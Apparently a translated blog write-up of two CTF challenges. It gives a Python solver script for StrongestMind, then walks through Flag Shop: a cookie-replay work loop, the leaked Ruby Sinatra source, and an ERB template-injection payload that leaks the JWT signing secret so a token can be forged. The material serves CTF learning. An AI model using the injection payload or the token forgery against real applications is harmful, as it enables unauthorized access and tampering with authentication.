[SCTF2019]Flag Shop ruby REB

[GXYCTF2019] StrongestMind
insert image description here
calculates the formula 1000 times to the flag, just write a script. Focus on the use of regularization:

from time import sleep

import requests
import re

url = "http://944c02ef-5777-4072-84fa-3fabe8c45ae9.node4.buuoj.cn:81/index.php"

s = requests.session()
r = re.compile(r"[0-9]+ [+|-] [0-9]+")
res = s.get(url)
for i in range(0,1001):
    sleep(0.1)
    play = r.findall(res.text)[0]
    result = eval(play)
    print(i,end=",")
    print(result)
    data = {
    
    "answer":result}
    res = s.post(url, data=data)
    res.encoding = "utf-8"
    print(res.text)

[SCTF2019]Flag Shop
insert image description here
has three options: buy flag requires your JKL to be greater than 10e27, work can increase your JKL, which is a random number from 0-5, and reset is useless.
Take a look at the bp packet capture, this is working, you can see that the GET method is passed /work?name=bot&do=bot%20is%20working, and then your JKL will increase.
insert image description here
Note that the html page returned by /shop does not have your JKL number, it calls /api/info to view it.
insert image description here
insert image description here
The cookie here is a jwt, which records your uid and jkl. The general idea must be to modify the jkl in the cookie. I modified it directly and then the replay will report an error. It seems that the key is needed here. I tried jwt to crack the key directly, but it didn't work.
insert image description here
I tried to use the script to keep clicking on work. If it wasn’t for the waf on buu to limit the access interval, maybe it would be okay. I put the script here. Anyone who thinks can try it.

from time import sleep
import requests

i=0
cok="auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI1OWYxOWU0Mi03NGFiLTQyYmMtYjhjZS0wNmZlMDY0ODE1NTkiLCJqa2wiOjE1NH0.VvXFVvRaWQVH7e0PDAOJaUkdnllTXRRaqX1Yoe5puKM"
while(i<=1000000000000000000000000001):
    sleep(0.2)
    url = "http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/work?name=bot&do=bot%20is%20working"
    s = requests.session()
    s.headers['Cookie']=cok
    res = s.get(url)
    cok=res.headers['Set-Cookie']
    print(res.text)
    s.headers['Cookie'] = cok
    url1="http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/api/info"
    re=s.get(url1)
    a1=re.text.split(':')[2][:-1]
    i=int(a1)
    print(a1)
    print(cok)

url2 = "http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/shop"
result = s.post(url2)
result.encoding="utf-8"
print(result.text)

After reading writeup, I know that robots.txt leaked filebak. The source code is as follows:

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = {
    
     uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, {
    
     algorithm: 'HS256' }
  json({
    
    uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, {
    
     algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, {
    
     algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({
    
    title: "error",message: "no enough jkl"})
  else

    auth << {
    
    flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({
    
    title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

The point is here, the REB template is used for rendering, and the name parameter is controllable by us

if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

So how to let name output the key? Here is a match comparison between the SECRET in the server and our parameter SECRET (to be honest, I only know that GET can also pass SECRET now). RUBY has a predefined variable $` to output the string to the left of the last match. https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html

 unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end

So we construct name= <%=$'%>, remember to convert it into hexadecimal,
insert image description here
get the key to construct jwt replay, and get the flag. The flag is also in jwt.
insert image description here
insert image description here

Guess you like

Origin blog.csdn.net/scrawman/article/details/121700617